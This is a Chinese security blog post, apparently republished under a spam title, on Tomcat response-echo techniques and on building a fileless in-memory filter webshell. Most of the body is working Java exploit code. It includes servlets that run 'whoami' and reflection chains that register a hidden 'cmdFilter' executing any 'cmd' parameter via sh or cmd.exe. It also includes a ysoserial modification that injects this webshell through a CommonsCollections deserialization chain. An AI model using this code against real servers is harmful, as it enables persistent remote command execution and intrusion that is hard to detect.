数据回显和反显前端数据回显什么意思 _数据回显和反显

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0x00 前言#
按照我个人的理解来说其实只要能拿到Request 和Response对象即可进行回显的构造，当然这也是众多方式的一种。也是目前用的较多的方式。比如在Tomcat 全局存储的Request 和Response对象，进行获取后则可以在tomcat这个容器下进行回显。而某些漏洞的方式会从漏洞的位置去寻找存储Request 和Response对象的地方。
0x01 Tomcat通用回显#
根据Litch1师傅的思路来寻找request,response对象全局存储的位置基于全局储存的新思路 | Tomcat的一种通用回显方法研究
根据该文章思路得知，在Tomcat启动的时候会调用该位置的dorun方法

由图可见，调用栈会来到创建Http11Processor对象这一步，Http11Processor继承AbstractProcessor类。而AbstractProcessor类中可见有Request，Response这两对象。并且为final修饰的，赋值后不可被更改。

那么此时我们只需要获取到这个Http11Processor对象即可获取到Request，Response 。继续跟进查看Http11Processor对象在哪进行存储。

调用this.register将前面创建的Http11Processor对象进行传递。而后调用processor.getRequest().getRequestProcessor()获取RequestInfo 。

调用获取到的RequestInfo,这里为rp 。rp的setGlobalProcessor将global进行传递，而setGlobalProcessor方法里面会调用global.addRequestProcessor将rp添加进去。

跟进进去发现，processors为一个ArrayList，里面存储RequestInfo类型的数据。
【数据回显和反显前端数据回显什么意思】所以整体的思路下来我们需要获取AbstractProtocol$ConnectionHandler类 -> 获取global变量 ->RequestInfo->Request–>Response 。

再往后需要寻找存储AbstractProtocol类或继承AbstractProtocol类的子类。
这里寻找到的是Connector成员变量中为protocolHandler属性的值，而 Http11AprProtocol类实现了该接口。

所以获取request的处理请求是
Connector—>AbstractProtocol$ConnectoinHandler—>global—>RequestInfo—>Request—>Response
而在Tomcat启动过程红会将Connector放入Service中。

而现在获取完成的流程是
StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)–>RequestInfo——->Request——–>Response
那么这时候如何获取StandardService成为了问题的一大关键。
文中给出的方法是从Thread.currentThread.getContextClassLoader()里面获取webappClassLoaderBase，再获取上下文中的 StandardService 。
最后调用链为
WebappClassLoaderBase —>
ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo——->Request——–>Response

package com;import org.apache.catalina.Context;import org.apache.catalina.Service;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.coyote.Response;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Modifier;import java.util.ArrayList;@WebServlet("/demoServlet")public class demoServlet extends HttpServlet {protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();try {Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");context.setAccessible(true);ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");service.setAccessible(true);StandardService standardService = (StandardService)service.get(ApplicationContext);Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");connectors.setAccessible(true);Connector[] connector = (Connector[])connectors.get(standardService);Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");protocolHandler.setAccessible(true);//AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();for (Class<?> aClass : AbstractProtocol_list) {if (aClass.getName().length()==52){java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);getHandlerMethod.setAccessible(true);Field globalField = aClass.getDeclaredField("global");globalField.setAccessible(true);org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");processors.setAccessible(true);java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");req.setAccessible(true);for (RequestInfo requestInfo : RequestInfo_list) {org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);org.apache.catalina.connector.Response response2 = request2.getResponse();response2.getWriter().write("111");}}}} catch (NoSuchFieldException e) {e.printStackTrace();} catch (ClassNotFoundException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();} catch (NoSuchMethodException e) {e.printStackTrace();} catch (InvocationTargetException e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}

这里是借助了获取到的Request和Response来输出结果。再来修改一下代码。

package com;import org.apache.catalina.Context;import org.apache.catalina.Service;import org.apache.catalina.connector.Connector;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.catalina.core.StandardService;import org.apache.coyote.AbstractProtocol;import org.apache.coyote.RequestGroupInfo;import org.apache.coyote.RequestInfo;import org.apache.coyote.Response;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Modifier;import java.util.ArrayList;@WebServlet("/demoServlet")public class demoServlet extends HttpServlet {protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();try {Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");context.setAccessible(true);ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");service.setAccessible(true);StandardService standardService = (StandardService)service.get(ApplicationContext);Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");connectors.setAccessible(true);Connector[] connector = (Connector[])connectors.get(standardService);Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");protocolHandler.setAccessible(true);//AbstractProtocol abstractProtocol = (AbstractProtocol)protocolHandler.get(connector[0]);Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();for (Class<?> aClass : AbstractProtocol_list) {if (aClass.getName().length()==52){java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);getHandlerMethod.setAccessible(true);Field globalField = aClass.getDeclaredField("global");globalField.setAccessible(true);org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");processors.setAccessible(true);java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");req.setAccessible(true);for (RequestInfo requestInfo : RequestInfo_list) {org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote(1);org.apache.catalina.connector.Response response2 = request2.getResponse();response2.getWriter().write("111");InputStream whoami = Runtime.getRuntime().exec("whoami").getInputStream();//BufferedInputStream bufferedInputStream = new BufferedInputStream(whoami);BufferedInputStream bis = new BufferedInputStream(whoami);int b ;while ((b = bis.read())!=-1){response2.getWriter().write(b);}}}}} catch (NoSuchFieldException e) {e.printStackTrace();} catch (ClassNotFoundException e) {e.printStackTrace();} catch (IllegalAccessException e) {e.printStackTrace();} catch (NoSuchMethodException e) {e.printStackTrace();} catch (InvocationTargetException e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}

将命令执行结果使用获取到的Request和Response来输出。
坑点记录#开始想直接获取内部类发现思路不通，后来采用getDeclaredClasses方法获取某类中所有内部的内部类遍历，判断类名传递定位到该类。获取global遍历的时候出现了巨坑，直接反射去获取。但是未意识到创建是一个class对象，反射使用get方法必须传递实例。获取到Request需要调用request.getNote(1);转换为org.apache.catalina.connector.Request的对象。fanal修饰变量，需做修改，直接获取报错。

通过调用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 来获取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 对象

文章链接
0x02 Tomcat半通用回显#
基于Tomcat中一种半通用回显方法该篇文来调试一下。
根据前文思路顺着堆栈一路向下查看Request和Response存储位置，只要获取到一个实例即可。
顺着思路，在org.apache.catalina.core.ApplicationFilterChain位置发现符合条件的变量。

下面寻找赋值位置，发现在这个位置对request，response进行实例的存储。但是默认为False

思路如下：
1、反射修改ApplicationDispatcher.WRAP_SAME_OBJECT，让代码逻辑走到if条件里面
2、初始化lastServicedRequest和lastServicedResponse两个变量，默认为null
3、从lastServicedResponse中获取当前请求response，并且回显内容。
自己尝试构造了一下

package com;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Modifier;@WebServlet("/testServlet")public class testServlet extends HttpServlet {protected void doPost(HttpServletRequest request, HttpServletResponse response) {try {Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");lastServicedRequest.setAccessible(true);lastServicedResponse.setAccessible(true);wrap_same_object.setAccessible(true);//修改finalField modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);boolean wrap_same_object1 = wrap_same_object.getBoolean(null);ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);wrap_same_object.setBoolean(null,true);lastServicedRequest.set(null,new ThreadLocal<>());lastServicedResponse.set(null,new ThreadLocal<>());ServletResponse servletResponse = responseThreadLocal.get();servletResponse.getWriter().write("111");} catch (Exception e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}

同理，可集成到yso中，反序列化命令执行结果借助该servletResponse 。

局限#
在shiro反序列化漏洞的利用中并不能成功，发现request，response的设置是在漏洞触发点之后，所以在触发漏洞执行任意java代码时获取不到我们想要的response 。其原因是因为rememberMe功能的实现是使用了自己实现的filter 。
0x03 内存马构造#
前文的基于Tomcat实现内存马中只是借助Servlet直接去进行动态添加Filter实现内存马。而实际当中还是需要借助反序列化点来直接打入内存马。
下面再来构造一个完整的。
获取到ApplicationContext调用addFilter方法直接将恶意Filter添加进去发现并不行。
ApplicationContext.addFilter(filterName,new ShellIntInject());

断点处进行了判断，条件为true，会直接抛出异常。而这时候可以借助反射去进行修改。

Field state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");state.setAccessible(true);state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);

修改完成后，再来看到addFilter中，this.context.findFilterDef也就是寻找StandardContext中的filterDef，所以我们需要添加到filterConfigs、filterDefs、filterMaps 。
在添加filter前，通过反射设置成LifecycleState.STARTING_PREP，添加完成后，再把其恢复成LifecycleState.STARTE，需要恢复，否则可能导致服务不可用。

//添加拦截路径，实现是将存储写入到filterMap中registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});

后面再来看到StandardContext 中filterStart方法会遍历所有filterDefs实例化ApplicationFilterConfig添加到filterConfigs中

this.filterConfigs.clear();Iterator i$ = this.filterDefs.entrySet().iterator();while(i$.hasNext()) {Entry<String, FilterDef> entry = (Entry)i$.next();String name = (String)entry.getKey();if (this.getLogger().isDebugEnabled()) {this.getLogger().debug(" Starting filter '" + name + "'");}try {ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());this.filterConfigs.put(name, filterConfig);} catch (Throwable var8) {Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);ExceptionUtils.handleThrowable(t);this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);ok = false;}}return ok;}}

前面我们的调用addfilter方法的时候已经将对应的filterDef给添加进去，我们只需要调用该方法即可实现filterConfig的添加。

 //调用filterStart方法将filterconfig进行添加Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");filterStart.setAccessible(true);filterStart.invoke(standardContext,null);

最后，需要将filter位置进行调整。

在调试中途，部分代码抛出异常并没有直接执行state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);会导致tomcat直接503 。无法进行正常访问，需重启。
完整代码#

package com;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedInputStream;import java.io.IOException;import java.io.InputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.lang.reflect.Modifier;@WebServlet("/testServlet")public class testServlet extends HttpServlet {private final String cmdParamName = "cmd";private final static String filterUrlPattern = "/*";private final static String filterName = "cmdFilter";protected void doPost(HttpServletRequest request, HttpServletResponse response) {try {Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");lastServicedRequest.setAccessible(true);lastServicedResponse.setAccessible(true);wrap_same_object.setAccessible(true);//修改finalField modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);boolean wrap_same_object1 = wrap_same_object.getBoolean(null);ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null);ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null);wrap_same_object.setBoolean(null,true);lastServicedRequest.set(null,new ThreadLocal<>());lastServicedResponse.set(null,new ThreadLocal<>());ServletResponse servletResponse = responseThreadLocal.get();ServletRequest servletRequest = requestThreadLocal.get();ServletContext servletContext = servletRequest.getServletContext();//这里实际获取到的是ApplicationContextFacadeif (servletContext!=null) {//编写恶意Filterclass ShellIntInject implements javax.servlet.Filter{@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {System.out.println("s");String cmd = servletRequest.getParameter(cmdParamName);if(cmd!=null) {String[] cmds = null;if (System.getProperty("os.name").toLowerCase().contains("win")) {cmds = new String[]{"cmd.exe", "/c", cmd};} else {cmds = new String[]{"sh", "-c", cmd};}java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");String output = s.hasNext() ? s.next() : "";java.io.Writer writer = servletResponse.getWriter();writer.write(output);writer.flush();writer.close();}filterChain.doFilter(request, response);}@Overridepublic void destroy() {}}//获取ApplicationContextField context = servletContext.getClass().getDeclaredField("context");context.setAccessible(true);ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext);//获取standardContextField context1 = ApplicationContext.getClass().getDeclaredField("context");context1.setAccessible(true);StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);//获取LifecycleBase的state修改为org.apache.catalina.LifecycleState.STARTING_PREPField state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");state.setAccessible(true);state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);//注册filterNameFilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());//添加拦截路径，实现是将存储写入到filterMap中registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{"/*"});//调用filterStart方法将filterconfig进行添加Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");filterStart.setAccessible(true);filterStart.invoke(standardContext,null);//移动filter为位置到前面FilterMap[] filterMaps = standardContext.findFilterMaps();for (int i = 0; i < filterMaps.length; i++) {if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];filterMaps[i] = filterMaps[0];filterMaps[0] = filterMap;break;}}servletResponse.getWriter().write("Success");state.set(standardContext,org.apache.catalina.LifecycleState.STARTED);}} catch (Exception e) {e.printStackTrace();}}protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {this.doPost(request, response);}}

但这并未完，虽然我们借助了代码执行获取到Request和Response后构造内存马。但是仍需要修改代码，将代码集成到yso中后，以供反序列化攻击使用。
0x04 改造yso#
将前面代码扣下来，并且继承AbstractTranslet,后面需要使用TemplatesImpl类去动态加载该类。

package ysoserial.exploit;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.lang.reflect.Modifier;public class TomcatShellIntInject extends AbstractTranslet {private final static String cmdParamName = "cmd";private final static String filterUrlPattern = "/*";private final static String filterName = "cmdFilter";static {try {Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedRequest");Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain").getDeclaredField("lastServicedResponse");lastServicedRequest.setAccessible(true);lastServicedResponse.setAccessible(true);wrap_same_object.setAccessible(true);//修改finalField modifiersField = Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL);modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL);boolean wrap_same_object1 = wrap_same_object.getBoolean(null);ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>) lastServicedRequest.get(null);ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>) lastServicedResponse.get(null);wrap_same_object.setBoolean(null, true);lastServicedRequest.set(null, new ThreadLocal<ServletRequest>());lastServicedResponse.set(null, new ThreadLocal<ServletResponse>());ServletResponse servletResponse = responseThreadLocal.get();ServletRequest servletRequest = requestThreadLocal.get();ServletContext servletContext = servletRequest.getServletContext();//这里实际获取到的是ApplicationContextFacadeif (servletContext != null) {//编写恶意Filterclass ShellIntInject implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {String cmd = servletRequest.getParameter(cmdParamName);if (cmd != null) {String[] cmds = null;if (System.getProperty("os.name").toLowerCase().contains("win")) {cmds = new String[]{"cmd.exe", "/c", cmd};} else {cmds = new String[]{"sh", "-c", cmd};}java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\a");String output = s.hasNext() ? s.next() : "";java.io.Writer writer = servletResponse.getWriter();writer.write(output);writer.flush();writer.close();}filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {}}//获取ApplicationContextField context = servletContext.getClass().getDeclaredField("context");context.setAccessible(true);ApplicationContext ApplicationContext = (ApplicationContext) context.get(servletContext);//获取standardContextField context1 = ApplicationContext.getClass().getDeclaredField("context");context1.setAccessible(true);StandardContext standardContext = (StandardContext) context1.get(ApplicationContext);//获取LifecycleBase的state修改为org.apache.catalina.LifecycleState.STARTING_PREPField state = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");state.setAccessible(true);state.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);//注册filterNameFilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject());//添加拦截路径，实现是将存储写入到filterMap中registration.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST), false, new String[]{filterUrlPattern});//调用filterStart方法将filterconfig进行添加Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getMethod("filterStart");filterStart.setAccessible(true);filterStart.invoke(standardContext, null);//移动filter为位置到前面FilterMap[] filterMaps = standardContext.findFilterMaps();for (int i = 0; i < filterMaps.length; i++) {if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) {org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i];filterMaps[i] = filterMaps[0];filterMaps[0] = filterMap;break;}}servletResponse.getWriter().write("Success");state.set(standardContext, org.apache.catalina.LifecycleState.STARTED);}} catch (Exception e) {e.printStackTrace();}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}}

yso中createTemplatesImpl稍做修改

public static Object createTemplatesImpl_shell ( final String command ) throws Exception {if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {return createTemplatesImpl(command,Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));}return createTemplatesImpl_shell(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);}public static <T> T createTemplatesImpl_shell ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )throws Exception {final T templates = tplClass.newInstance();// use template gadget classClassPool pool = ClassPool.getDefault();pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));pool.insertClassPath(new ClassClassPath(abstTranslet));final CtClass clazz = pool.get(StubTransletPayload.class.getName());final byte[]classBytes = ClassFiles.classAsBytes(TomcatShellIntInject.class);//final byte[] classBytes = clazz.toBytecode();// inject class bytes into instanceReflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes, ClassFiles.classAsBytes(Foo.class)});// required to make TemplatesImpl happyReflections.setFieldValue(templates, "_name", "Pwnr");Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());return templates;}

这里拿cc2链来测试，复制cc2链代码。将getObject方法修改
final Object templates = Gadgets.createTemplatesImpl_shell(command);github:https://github.com/nice0e3/ysoserial-master
0x05 Reference#
基于全局储存的新思路 | Tomcat的一种通用回显方法研究
Tomcat中一种半通用回显方法
基于tomcat的内存 Webshell 无文件攻击技术
Java Web代码执行漏洞回显总结
Shiro 550 漏洞学习 (二)：内存马注入及回显
0x06 结尾#
说到底，其实中间件回显就是获取Request 和Response对象，拿到以后借助拿到的Request 和Response对象进行回显，而内存马则是使用获取到的这两对象从而获取到Context进行动态添加Filter 。而文中并没有去实现冰蝎等内存shell，而只实现了一个cmd的shell 。同理，只需将恶意Fliter修改成冰蝎的shell即可。

数据回显和反显 前端数据回显什么意思

数据回显和反显前端数据回显什么意思